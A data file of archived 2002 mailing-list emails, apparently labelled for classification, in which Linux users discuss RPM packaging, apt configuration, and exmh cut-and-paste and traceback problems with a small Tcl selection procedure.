,rpm-zzzlist@freshrpms.net,"Thu, 7 Feb 2002 11:37:12 +0200","Re: About apt, kernel updates and dist-upgrade","On Thu, Feb 07, 2002 at 12:29:14AM +0200, Peter Peltonen wrote: > About apt.conf there are these lines: > ---- > RPM > { > // Leave list empty to disable > AllowedDupPkgs {""^kernel$""; ""kernel-smp""; ""kernel-enterprise""; }; > HoldPkgs {""kernel-source""; ""kernel-headers""; }; > } > ---- > > How do I tell apt hold all kernel packages? Can I use syntax like > ""kernel*""; ? > > And I don't quite understand what the part ""^kernel$""; means? You could read about regular expressions. ^kernel$ matches ""kernel"" and nothimg more. Kerne, kernel-smp and kernel-enterprise are the kernel packages you might be running in a RH system. Packages like kernel-headers, kernel-BOOT and kernel-doc aren't matched. If it just said ""kernel"", it would match *all* those packages. -- ""You were good with that recorder."" (=nokkahuilu) ""Soitit hyvin sit mankkaa."" -- (Suomennos) Men Behaving Badly _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 dTd ,rpm-zzzlist@freshrpms.net,"Thu, 7 Feb 2002 09:07:50 -0500 (EST)",rpm-zzzlist@freshrpms.net,"Thanks for the great work Mathias but I would like to point out that this list is fastly become the apt-rpm-list instead of the rpm-list. The discussion concerning apt is overwhelming. Maybe another list is in order for those having trouble with apt-rpm. apt-rpm-hotline@freshrpms.net ? :) Though I think apt-rpm is a great tool, I don't use it and would like to get back to talk of new packages and rpm building techniques. dTd Daniel T. Drea dandanielle@mindspring.com http://dandanielle.home.mindspring.com _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Thu, 7 Feb 2002 15:15:41 +0100",Re: rpm-zzzlist@freshrpms.net,"Once upon a time, dTd wrote : > > Thanks for the great work Mathias but I would like to point out that this > list is fastly become the apt-rpm-list instead of the rpm-list. The > discussion concerning apt is overwhelming. Maybe another list is in order > for those having trouble with apt-rpm. apt-rpm-hotline@freshrpms.net ? :) > > Though I think apt-rpm is a great tool, I don't use it and would like to > get back to talk of new packages and rpm building techniques. Hmmm, know what? On http://lists.freshrpms.net/ the apt-list has been up for a while now ;-) There is almost no traffic though, since I wanted to keep that list for apt-rpm on the server side (mirrors, building repositories etc.), but hey, it could be a good place for general apt-rpm questions ;-) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,RPM-List ,"Tue, 10 Sep 2002 18:39:07 +0200",Holidays for freshrpms.net :-),"Hi all, I'll be leaving this evening until next Monday, with no access to whatsoever to a single computer until then, woohoo, real holidays! :-) So don't be worried if there's a new release of and that it's not updated quickly despite your many requests to the list ;-) Before going, I did repackage the latest hackedbox and lbreakout2 that both came out today. Have fun! (I will!! ;-)) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Chris Kloiber ,rpm-zzzlist@freshrpms.net,10 Sep 2002 12:50:08 -0400,Re: Holidays for freshrpms.net :-),"On Tue, 2002-09-10 at 12:39, Matthias Saou wrote: > Hi all, > > I'll be leaving this evening until next Monday, with no access to > whatsoever to a single computer until then, woohoo, real holidays! :-) I don't think I could take it. The network was down for an hour here and I was climbing the walls. :) Enjoy! -- Chris Kloiber _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Haase ,rpm-zzzlist@freshrpms.net,"Tue, 10 Sep 2002 19:02:02 +0200",Re: Holidays for freshrpms.net :-),"On Tue, 10 Sep 2002 18:39:07 +0200 Matthias Saou wrote: > Before going, I did repackage the latest hackedbox and lbreakout2 that > both came out today. > > Have fun! (I will!! ;-)) fun here too, recompiled gnome 2.02rc2 today ;-) Have a nice and good time! -- regards Matthias _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Tue, 10 Sep 2002 19:20:46 +0200",Re: Holidays for freshrpms.net :-),"Once upon a time, Chris wrote : > On Tue, 2002-09-10 at 12:39, Matthias Saou wrote: > > Hi all, > > > > I'll be leaving this evening until next Monday, with no access to > > whatsoever to a single computer until then, woohoo, real holidays! :-) > > I don't think I could take it. The network was down for an hour here and > I was climbing the walls. :) I can't stand it either when it's at work or home and I'd planned on doing something that required network access... but I really feel like I need a break now, away from work pressure that almost drove me nuts all summer! Ah, the joys of responsibilities... :-/ Six days without computers ahead, but six days driving my 600 Bandit roadster bike! I won't be miserable nor get bored, don't worry for me ;-) I also have the first Lord of the Rings book to finish (half way through now) and the two others to read... lots of ""sane"" and non-wired occupations ahead! Oh, did I mention beer drinking with friends? :-)))) Matthias (really happy to be on holidayyyy for the first time this year!) -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Harri Haataja ,Freshrpms list ,"Sun, 15 Sep 2002 18:10:11 +0300",REQ: Beast/BSE,"http://beast.gtk.org There's a realy nasty shortage on sequencers :( (Actually I'd like this running on my main box, which is Irix but that I'll probably try to tackle myself :) -- Rule #1: All software sucks Rule #2: All hardware sucks. Rule #3: My vacuum-cleaner is hardware. It never obeys rule #2? -- Tanuki the Raccoon-dog, Scary Devil Monastery _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,RPM-List ,"Wed, 18 Sep 2002 16:50:20 +0200",New testing packages,"Hi, Just the kind of announce I make once in a while : - I've rebuilt a new ""alsaplayer"" package based on Angle's one. - I've rebuilt a hopefully final version ""-fr8"" of the ""alsa-driver"" and ""alsa-kernel"" packages which fix all known SMP build issues. Both can be found here : http://ftp.freshrpms.net/pub/freshrpms/testing/alsa/ I've also repackaged gkrellm 2.0.2 with at last a separate package for the server that can be installed standalone and doesn't even require glib2. http://ftp.freshrpms.net/pub/freshrpms/testing/gkrellm/ Last but not least, my latest proftpd 1.2.6 package incorporates some nifty new features : You can use any of ""--with ldap"", ""--with mysql"" and ""--with postgres"" when rebuilding the source rpm with rpmbuild to enable desired extra authentication methods and all package requirements are set accordingly, and the release tag is changed too. http://valhalla.freshrpms.net/ (the usual place ;-)) I think I'll use this ""--with "" switch more and more where possible. Some other of my package already use it like the xmame for its output targets, sqlrelay for its modules and my latest sylpheed claws spec to enable Pilot support. As usual, feedback and comments are welcome! :-) Matthias PS: Yup, I'm back from my holidays ;-) -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10 Load : 2.42 2.10 1.32, AC on-line, battery charging: 100% (7:12) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ville =?ISO-8859-1?Q?Skytt=E4?= ,rpm-zzzlist@freshrpms.net,18 Sep 2002 18:12:05 +0300,Re: New testing packages,"On Wed, 2002-09-18 at 17:50, Matthias Saou wrote: > I think I'll use this ""--with "" switch more and more where > possible. Nifty, I've been thinking about that too. Any good ideas how to document those targets? %description? -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """C.Lee Taylor"" ",rpm-zzzlist@freshrpms.net,"Thu, 19 Sep 2002 12:42:31 +0200",Re: --with ...,"Greetings ... > PS: Yup, I'm back from my holidays ;-) I hope you did not miss us at all ... ;-0 > I think I'll use this ""--with "" switch more and more where > possible. Mmm, great stuff ... Now to get the RedHat Samba packager to do the same thing ... I have used there spec file and fun a few problems in it, and one of them was just hashing out things for other use ... Now to get to grips with the Kernel ... still have not found and easy way to rebuild the Kernel without having to wait and hour for it to generate the headers for all arch ... arrrrhhhh ... Mailed Lee _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Thu, 19 Sep 2002 13:08:25 +0200",Re: --with ...,"Once upon a time, C.Lee wrote : > > I think I'll use this ""--with "" switch more and more where > > possible. > Mmm, great stuff ... Now to get the RedHat Samba packager to do the > same thing ... I'm sure that if you file a bugzilla entry with a relevant patch against the spec file, chances of getting the change done are on your side ;-) > I have used there spec file and fun a few problems in it, and one > of them was just hashing out things for other use ... > > Now to get to grips with the Kernel ... still have not found and > easy way to rebuild the Kernel without having to wait and hour for > it to generate the headers for all arch ... arrrrhhhh ... The problem is that ""--with --without "" is clearly not meant to change deeply the way a package is built. Its use would be more like enabling/disabling gpg, ldap, whateversql support in packages as it's not possible to use something like ""--with-="" which could be used for a much wider scope. Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10 Load : 0.00 0.12 0.32, AC on-line, battery charging: 100% (4:47) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ",rpm-zzzlist@freshrpms.net,"Thu, 19 Sep 2002 20:28:51 +0000",Re: New testing packages,"Matthias Saou (matthias@rpmforge.net) wrote*: >- I've rebuilt a new ""alsaplayer"" package based on Angle's one. Cool, one less package to maintain :) One interesting thing about alsaplayer is that RedHat's XMMS package in RH8 will probably not play mp3 files. But alsaplayer does play mp3s ""out of the box"". Also, they are developing rapidly in their CVS and looks like their next version of alsaplaer will be pretty cool, but I have no idea when it will be ready. -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Jesse Keating ,rpm-zzzlist@freshrpms.net,"Thu, 19 Sep 2002 22:10:46 -0700",sylpheed-claws,Have you thought of bumping up sylpheed-claws? I see sylpheed got a bump... show some claws love? (; -- Jesse Keating j2Solutions.net Mondo DevTeam (www.mondorescue.org) Was I helpful? Let others know: http://svcs.affero.net/rm.php?r=jkeating _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list,0,1 """"" Angles "" Puglisi"" ",rpm-zzzlist@freshrpms.net,"Fri, 20 Sep 2002 06:02:34 +0000",Re: New testing packages,"Angles Puglisi (angles@aminvestments.com) wrote*: >Also, they are developing rapidly in their CVS and looks like their next version >of alsaplaer will be pretty cool, but I have no idea when it will be ready. ahh, oops they just released. -/ -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Fri, 20 Sep 2002 10:40:55 +0200",Re: sylpheed-claws,"Once upon a time, Jesse wrote : > Have you thought of bumping up sylpheed-claws? I see sylpheed got a > bump... show some claws love? (; Well, in sylheed's ""claws"" branch you need to wait a bit for the developers to backport all the updates from the main branch before getting a release with the same version number. Right now, the latest ""claws"" release is still 0.8.2claws : http://sourceforge.net/project/showfiles.php?group_id=25528 But as it's the primary mailer I use, you can be sure that as soon as it's updated to 0.8.3, I'll update my build! :-) Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10 Load : 0.18 0.23 0.33, AC on-line, battery charging: 100% (4:47) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Axel Thimm ,rpm-zzzlist@freshrpms.net,"Fri, 20 Sep 2002 18:11:18 +0200",Re: Should mplayer be build with Win32 codecs?,"Hi, has anyone an answer for me? The mplayer documentation still suggests to use them for x86 architectures. Thanks. :) Regards, Axel. On Sat, Jun 08, 2002 at 11:39:03PM +0200, Axel Thimm wrote: > Are there perhaps licensing issues, which forbid such a practice? Or any other > reasons? > > The reason I ask is that I have seen performance and also some feature > differences (fullscreen w/o keeping aspect ratio, visual artifacts on NVIDIA) > comparing with or without the Win32 codecs. The mplayer authors seem to > recommend using them for x86 architectures. > > Beware, I am no mplayer/codecs/whatever expert, I may be totally lost ... -- Axel.Thimm@physik.fu-berlin.de _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Fri, 20 Sep 2002 18:22:30 +0200",Re: Should mplayer be build with Win32 codecs?,"Once upon a time, Axel wrote : > has anyone an answer for me? The mplayer documentation still suggests to > use them for x86 architectures. Well, I think my avifile build still needs the win32 codecs to be able to run (manually copied into /usr/lib/win32/), but personally, I've been very happy with mplayer's default (which is ffmpeg's ffdivx decoder) for nearly all the DivX files I used. The only ones that still require (from my own experience) the use of the win32 codecs are the ones encoded with a strange DivX 3 sound format... and I've really not seen any quality or speed improvements when using them. Matthias > On Sat, Jun 08, 2002 at 11:39:03PM +0200, Axel Thimm wrote: > > Are there perhaps licensing issues, which forbid such a practice? Or > > any other reasons? > > > > The reason I ask is that I have seen performance and also some feature > > differences (fullscreen w/o keeping aspect ratio, visual artifacts on > > NVIDIA) comparing with or without the Win32 codecs. The mplayer authors > > seem to recommend using them for x86 architectures. > > > > Beware, I am no mplayer/codecs/whatever expert, I may be totally lost > > ... -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10 Load : 0.35 0.46 0.43, AC on-line, battery charging: 100% (4:47) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Peter Peltonen ,rpm-zzzlist@freshrpms.net,23 Sep 2002 10:32:49 +0300,Re: New testing packages,"BTW: I just a found a quite nice looking apt repositry for all kinds of audio apps at http://ccrma-www.stanford.edu/planetccrma/software/ Peter On Thu, 2002-09-19 at 23:28, Angles Puglisi wrote: > Matthias Saou (matthias@rpmforge.net) wrote*: > >- I've rebuilt a new ""alsaplayer"" package based on Angle's one. > > Cool, one less package to maintain :) > > One interesting thing about alsaplayer is that RedHat's XMMS package in RH8 will > probably not play mp3 files. But alsaplayer does play mp3s ""out of the box"". > > Also, they are developing rapidly in their CVS and looks like their next version > of alsaplaer will be pretty cool, but I have no idea when it will be ready. > > -- > That's ""angle"" as in geometry. > > > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Jesse Keating ,rpm-zzzlist@freshrpms.net,"Mon, 23 Sep 2002 08:09:24 -0700",Re: sylpheed-claws,"On Fri, 20 Sep 2002 10:40:55 +0200 Matthias Saou wrote: # But as it's the primary mailer I use, you can be sure that as soon # as it's updated to 0.8.3, I'll update my build! :-) It got updated (; -- Jesse Keating j2Solutions.net Mondo DevTeam (www.mondorescue.org) Was I helpful? Let others know: http://svcs.affero.net/rm.php?r=jkeating _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brent Welch ,exmh-users@spamassassin.taint.org,"Sun, 22 Sep 2002 22:00:37 -0700",Re: bad focus/click behaviours,"I need to experiment with ripping out all my ""sophisticated"" cut/paste code. This is mostly historical accident from dealing with very early versions of Tk, and the emacs ""cutbuffer"", and other wierd junk. You can, too, by hacking upon seditBind.tcl appropriately. >>>Hal DeVore said: > > > >>>>> On Fri, 13 Sep 2002, ""Tony"" == Tony Nugent wrote: > > Tony> I can't even mark text in an exmh message window and then > Tony> paste it into a terminal window, the cut buffer seems to > Tony> be completely empty (and its previous contents are no > Tony> longer there either). > > Brent confessed recently that he had tried to subvert the X > model(s) of copy and paste. Not in those words... but that > was how I read it. ;) > > I have a lot of trouble copying and pasting from or to exmh > across a VNC link (from things in the vncviewer to things not in > it and vice versa). As long as I stick to apps being ""normally"" > displayed on my X server I don't have much of a problem. > > My recollection from my X programming days is that the X model, > like everything in X, is more complex than the human brain can > handle. It also is very different from the MS-Windows model. > And I get the feeling that Tk tries to ""unify"" those two models > and fails. Not sure what the exmh-specific contribution to the > confusion is, frankly. > > --Hal > > > > > _______________________________________________ > Exmh-users mailing list > Exmh-users@redhat.com > https://listman.redhat.com/mailman/listinfo/exmh-users -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Brent Welch ,exmh-users@spamassassin.taint.org,"Sun, 22 Sep 2002 22:08:16 -0700",Re: bad focus/click behaviours,"It's all here in these 10 lines, otherwise known as the ""I'll try my damnest to paste something"" procedure: # Return the current selection (from any window) or cut buffer 0. proc Text_Selection {} { if [catch {selection get} sel] { if [catch {selection get -selection CLIPBOARD} sel] { if [catch {cutbuffer get 0} sel] { return """" } } } return $sel } This is in textSelection.tcl, and is what exmh uses to find text to paste. It is that last ""cutbuffer get"" that is wacky, because exmh sticks its own deletions into that little know stash, and is probably the only application on the planet that still looks there. We should probably just disable that - try this variant: proc Text_Selection {} { if [catch {selection get} sel] { if [catch {selection get -selection CLIPBOARD} sel] { return """" } } return $sel } Everything funnels through here, so you just need to hack this one spot. >>>Rick Baartman said: > I've never understood the mouse buffer operation with exmh either. Here's th e > behaviour I have. I have exmh and XEmacs windows up, and a terminal window. (I > also have gnome1.4 running and enlightenment as wm.) I select text in the ex mh > window and while it is highlighted, I can paste into anything else. If I sel ect > it and then click so the highlighting is off, then what I paste is not the > recently-selected text in exmh, but an old selection. If I select in XEmacs and > leave it highlighted, I can paste it into exmh sedit window; but if it is no > longer highlighted, what I paste is an old selection. I can live with this > behaviour except for one additional thing. If nothing is highlighted, then w hat > I paste into exmh is different from what I paste into other windows. To be m ore > specific, here's what gets pasted if nothing is highlighted: > > Application What gets pasted > > XEmacs whatever was last selected unless it was last selected in exmh > xterm same as XEmacs > AbiWord nothing > Nedit nothing > sedit Whatever was last highlighted in sedit and overwritten > > The last needs some amplification. If I highlight something in sedit, then > obviously that's what gets pasted. If the highlighting is off, then what get s > pasted is NOT what was last highlighted in sedit, but what was last highligh ted > and typed over (I have ""Type Kills SEL"" on.). > > It seems that exmh and sedit are the oddballs here. Very often when I try to > paste something in sedit I end up muttering WTF?? > > -- > rick > > > > _______________________________________________ > Exmh-users mailing list > Exmh-users@redhat.com > https://listman.redhat.com/mailman/listinfo/exmh-users -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Brent Welch ,exmh-users@spamassassin.taint.org,"Sun, 22 Sep 2002 22:11:03 -0700",Re: bad focus/click behaviours,">>>Hal DeVore said: > ""Brent said in his book"" > This Paste function can be convenient, but it turns out that > users still need to keep track of the difference between the > two selections. If a user only understands the CLIPBOARD, > then the user of PRIMARY is only surprising. I learned that > it is best to have a separate paste user action for the two > selections. The convention is that sets > the insert point and inserts the PRIMARY selection. ... The > <> event (e.g., the Paste key) simply inserts the > CLIPBOARD selection at the current insert point. ... Yeah, I learned by hearing exmh users scream in agony. Sorry about all that. We should be able to clean this up. If you grep for ""bind"" in seditBind you quickly find the Text_Selection proc I described in the previous email. -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Brent Welch ,exmh-users@spamassassin.taint.org,"Sun, 22 Sep 2002 22:21:49 -0700",Re: bad focus/click behaviours,">>>""Kevin Oberman"" said: > It did for me, but I am not willing to say it is not a tcl/tk issue as > other apps seemed to work OK for cut and paste and Tk does its > clipboard stuff a bit differently than most toolkits. So I'm not > about to place blame. Just reporting my experience. One more salvo on X and cut/paste. X specifies at least two *mechanisms* for cut/paste, but as usual mandates no *policy*. Windows and Macintosh have a slightly different mechanism and one uniform policy. I'm quite sure that Tk implements all PRIMARY and CLIPBOARD selections accurately. The PRIMARY selection is the one that is tied to the visible selection on your X display. The CLIPBOARD selection is the one with the explicit Copy step, and is the same as what you have on Windows and Macintosh. However, exmh throws in support for the cutbuffer mechanism, which is another archaic mechanism supported at one point (perhaps still today) by versions of emacs. Exmh has a policy that tries to unify all these mechanisms under one umbrella, and by all reports it is not that great. I would encourage folks to play with those 10 lines of code in Text_Selection and report what works well for them. We may come up with 8 lines that work for everyone, or perhaps introduce yet another setting that lets folks choose between a few useful models. Of course, that's an admission of policy failure, but I'm willing to do that. -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Robert Elz ,exmh-users@spamassassin.taint.org,"Mon, 23 Sep 2002 16:23:33 +0700",Re: bad focus/click behaviours,"Date: Sun, 22 Sep 2002 22:21:49 -0700 From: Brent Welch Message-ID: <200209230521.BAA11218@blackcomb.panasas.com> | I would encourage folks to play with those 10 lines of code in | Text_Selection and report what works well for them. We may come up | with 8 lines that work for everyone, or perhaps introduce yet another | setting that lets folks choose between a few useful models. Of course, | that's an admission of policy failure, but I'm willing to do that. I actually think you're looking in the wrong place. I, at least, have almost no problems with the choice of what gets pasted, or selected, that stuff (for me, if perhaps not users of some gnome variant, which appraently has been fixed anyway) all seems to work just fine. The problem is that a button 1 click clears the selection (PRIMARY) where it shouldn't - the previous selection should only be cleared when there's something else to replace it (even if the highlighting of what is selected is removed). Try this in any other ramdom application (from xterm to netscape) and see how it works. There normally is *no* (mouse based) way to actually clear the primary selection (that is, set it to be a null string). Then, because of the ""if I get asked for the selection value, I will find something"" behaviour, if you click (intending to set the insert point, the way most other GUI's operate), and then paste, because the PRIMARY is clear, but exmh still owns the selection, because nothing else has taken it, it does and finds some other ramdom stuff, from either the clipboard or cut buffer, which tends to be something that was deleted back in the ancient past, and pastes that. That behaviour, to me anyway, is the real issue. Once that gets fixed, we can switch back to operating the normal ""select stuff, click at new insert point, paste"" mode of operation that almost everyone expects to work (whether the ""select stuff"" is somewhere in one of the exmh windows, or elsewhere). kre ps: this message is from my experience as a exmh user only, I've never really understood enough about X and selections to go gazing at that part of the code and see how it all really operates. _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Chris Garrigues ,Scott Lipcon ,"Mon, 23 Sep 2002 09:41:22 -0500",Re: traceback in new exmh,"--==_Exmh_1988991284P Content-Type: text/plain; charset=us-ascii > From: Scott Lipcon > Date: Sun, 22 Sep 2002 22:58:16 -0400 > > I just updated to the latest CVS - I had been running a build from June. > Hitting the Flist button gives the following traceback: > > syntax error in expression ""int(17+1+(222-)*(19-17-2)/(224-))"" > while executing > ""expr int($minLine+1+($msgid-$minMsg)*($maxLine-$minLine-2)/($maxMsg-$minMs > g))"" > (procedure ""Ftoc_FindMsg"" line 57) > invoked from within > ""Ftoc_FindMsg $i"" > (procedure ""Ftoc_ShowSequences"" line 16) > invoked from within > ""Ftoc_ShowSequences $F"" > (procedure ""ScanFolder"" line 81) > invoked from within > ""ScanFolder inbox 0"" > invoked from within > ""time [list ScanFolder $F $adjustDisplay"" > (procedure ""Scan_Folder"" line 2) > invoked from within > ""Scan_Folder $exmh(folder) $ftoc(showNew)"" > (procedure ""Inc_PresortFinish"" line 7) > invoked from within > ""Inc_PresortFinish"" > invoked from within > "".fops.flist invoke"" > (""uplevel"" body line 1) > invoked from within > ""uplevel #0 [list $w invoke]"" > (procedure ""tkButtonUp"" line 7) > invoked from within > ""tkButtonUp .fops.flist > "" > (command bound to event) > > > It seems to only happen in a folder with no unseen messages. > > Chris, is this related to your recent changes? Curious. I changed the arguments to Ftoc_ShowSequences to drop the folder argument and instead have an optional msgids argument. Somehow your version of ScanFolder is still trying to pass $F. You seem to have the latest ftoc.tcl (1.36), but not the latest scan.tcl (1.27). I don't know how that happened, but try getting your source tree completely up to date. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_1988991284P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9jygSK9b4h5R0IUIRAix6AJ9CorKpwn/5KatPB2QytCyr1mVP5QCfd84d CBV9usxWABobTcDTVHm8fLY= =xJhj -----END PGP SIGNATURE----- --==_Exmh_1988991284P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Scott Lipcon ,Chris Garrigues ,"Mon, 23 Sep 2002 10:54:19 -0400",Re: traceback in new exmh,"Oops - turns out i wasn't careful installing it, so the exmh(library) variable was pointing at my old installation. I'm surprised it worked as well as it did. In any case, I removed the old library directory, and edited exmh, exmh-bg, exmh-strip, etc to point at the right one. Now I'm getting another traceback on startup: can't read ""mhPriv(pubseq,family,cur)"": no such variable while executing ""MhSeq $folder $seq add $mhPriv(pubseq,$folder,$seq) [MhSeqExpand $folder $msgids"" (procedure ""MhReadSeqs"" line 73) invoked from within ""MhReadSeqs $folder seqs"" (procedure ""Mh_Sequences"" line 2) invoked from within ""Mh_Sequences $folder"" (procedure ""Flist_UnseenUpdate"" line 4) invoked from within ""Flist_UnseenUpdate $folder"" (procedure ""FolderChange"" line 51) invoked from within ""FolderChange family {Msg_Show cur}"" invoked from within ""time [list FolderChange $folder $msgShowProc"" (procedure ""Folder_Change"" line 3) invoked from within ""Folder_Change $exmh(folder)"" (procedure ""Exmh"" line 101) invoked from within ""Exmh"" (""after"" script) +family is the folder I was in when I quit exmh. I'm on a remote display right now, and its really slow. I'll have to play with it more tonight when I get home to see if there are any other problems. Scott > > From: Scott Lipcon > > Date: Sun, 22 Sep 2002 22:58:16 -0400 > > > > I just updated to the latest CVS - I had been running a build from June. > > Hitting the Flist button gives the following traceback: > > > > syntax error in expression ""int(17+1+(222-)*(19-17-2)/(224-))"" > > while executing > > ""expr int($minLine+1+($msgid-$minMsg)*($maxLine-$minLine-2)/($maxMsg-$minMs > > g))"" > > (procedure ""Ftoc_FindMsg"" line 57) > > invoked from within > > ""Ftoc_FindMsg $i"" > > (procedure ""Ftoc_ShowSequences"" line 16) > > invoked from within > > ""Ftoc_ShowSequences $F"" > > (procedure ""ScanFolder"" line 81) > > invoked from within > > ""ScanFolder inbox 0"" > > invoked from within > > ""time [list ScanFolder $F $adjustDisplay"" > > (procedure ""Scan_Folder"" line 2) > > invoked from within > > ""Scan_Folder $exmh(folder) $ftoc(showNew)"" > > (procedure ""Inc_PresortFinish"" line 7) > > invoked from within > > ""Inc_PresortFinish"" > > invoked from within > > "".fops.flist invoke"" > > (""uplevel"" body line 1) > > invoked from within > > ""uplevel #0 [list $w invoke]"" > > (procedure ""tkButtonUp"" line 7) > > invoked from within > > ""tkButtonUp .fops.flist > > "" > > (command bound to event) > > > > > > It seems to only happen in a folder with no unseen messages. > > > > Chris, is this related to your recent changes? > > Curious. I changed the arguments to Ftoc_ShowSequences to drop the folder > argument and instead have an optional msgids argument. Somehow your version > of ScanFolder is still trying to pass $F. You seem to have the latest > ftoc.tcl (1.36), but not the latest scan.tcl (1.27). > > I don't know how that happened, but try getting your source tree completely > up to date. > > Chris > > -- > Chris Garrigues http://www.DeepEddy.Com/~cwg/ > virCIO http://www.virCIO.Com > 716 Congress, Suite 200 > Austin, TX 78701 +1 512 374 0500 > > World War III: The Wrong-Doers Vs. the Evil-Doers. > > > > > --==_Exmh_1988991284P > Content-Type: application/pgp-signature > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: Exmh version 2.2_20000822 06/23/2000 > > iD8DBQE9jygSK9b4h5R0IUIRAix6AJ9CorKpwn/5KatPB2QytCyr1mVP5QCfd84d > CBV9usxWABobTcDTVHm8fLY= > =xJhj > -----END PGP SIGNATURE----- > > --==_Exmh_1988991284P-- > _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,"Scott Lipcon , exmh-workers@spamassassin.taint.org","Mon, 23 Sep 2002 09:58:45 -0500",Re: traceback in new exmh,"--==_Exmh_2018282504P Content-Type: text/plain; charset=us-ascii > From: Chris Garrigues > Date: Mon, 23 Sep 2002 09:41:22 -0500 > > > From: Scott Lipcon > > Date: Sun, 22 Sep 2002 22:58:16 -0400 > > > > I just updated to the latest CVS - I had been running a build from June. > > > Hitting the Flist button gives the following traceback: > > > > syntax error in expression ""int(17+1+(222-)*(19-17-2)/(224-))"" > > while executing > > ""expr int($minLine+1+($msgid-$minMsg)*($maxLine-$minLine-2)/($maxMsg-$minMs > > g))"" > > (procedure ""Ftoc_FindMsg"" line 57) > > invoked from within > > ""Ftoc_FindMsg $i"" > > (procedure ""Ftoc_ShowSequences"" line 16) > > invoked from within > > ""Ftoc_ShowSequences $F"" > > (procedure ""ScanFolder"" line 81) > > invoked from within > > ""ScanFolder inbox 0"" > > invoked from within > > ""time [list ScanFolder $F $adjustDisplay"" > > (procedure ""Scan_Folder"" line 2) > > invoked from within > > ""Scan_Folder $exmh(folder) $ftoc(showNew)"" > > (procedure 